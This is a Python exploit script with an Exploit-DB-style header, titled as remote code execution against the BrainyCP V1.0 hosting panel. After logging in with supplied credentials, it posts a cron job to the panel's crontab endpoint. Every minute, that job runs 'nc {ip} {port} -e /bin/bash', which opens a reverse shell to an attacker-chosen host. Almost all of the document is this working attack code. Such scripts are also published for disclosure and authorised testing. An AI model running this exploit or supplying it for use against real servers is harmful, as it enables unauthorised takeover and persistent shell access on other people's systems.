# Exploit Title: BrainyCP V1.0 - Remote Code Execution
# Date: 2023-04-03
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://brainycp.io
# Demo: https://demo.brainycp.io
# Tested on: Kali Linux
# CVE : N/A

import requests

# credentials
url = input("URL: ")
username = input("Username: ")
password = input("Password: ")
ip = input("IP: ")
port = input("Port: ")

# login 
session = requests.Session()
login_url = f"{url}/auth.php"
login_data = {"login": username, "password": password, "lan": "/"}
response = session.post(login_url, data=login_data)
if "Sign In" in response.text:
    print("[-] Wrong credentials or may the system patched.")
    exit()


# reverse shell 
reverse_shell = f"nc {ip} {port} -e /bin/bash"

# request
add_cron_url = f"{url}/index.php?do=crontab&subdo=ajax&subaction=addcron"
add_cron_data = {
    "cron_freq_minutes": "*",
    "cron_freq_minutes_own": "",
    "cron_freq_hours": "*",
    "cron_freq_hours_own": "",
    "cron_freq_days": "*",
    "cron_freq_days_own": "",
    "cron_freq_months": "*",
    "cron_freq_weekdays": "*",
    "cron_command": reverse_shell,
    "cron_user": username,
}
response = session.post(add_cron_url, data=add_cron_data)

print("[+] Check your listener!")